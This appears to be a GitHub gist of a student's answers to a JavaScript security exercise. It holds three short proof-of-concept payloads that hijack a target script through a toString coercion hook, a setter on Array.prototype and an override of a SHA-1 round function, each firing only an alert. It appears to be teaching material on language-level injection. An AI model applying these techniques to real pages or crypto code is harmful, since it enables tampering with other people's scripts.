Last active
March 6, 2019 02:33
-
-
Save chowder/be7bf786eb936ff2701c66d2b3efda82 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Question (i) and (ii) | |
* Exploit on: Line 13 */ | |
var x = {toString: function(){ alert("1"); return 1 }} | |
/* Question (iii) and (iv) | |
* Exploit on: Line 38 */ | |
var x = "h4x0r"; | |
Object.defineProperty(Array.prototype, '0', { | |
set: function(val) { | |
if (this.length == 0) { // This part is important so that the exploit is only run once | |
alert("2"); | |
} | |
} | |
}); | |
/* Question (v) and (vi) | |
* Exploit on: Line 49 */ | |
var x = "h4x0r"; | |
CryptoAPI.sha1._round = function(H, w){ alert("3") }; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment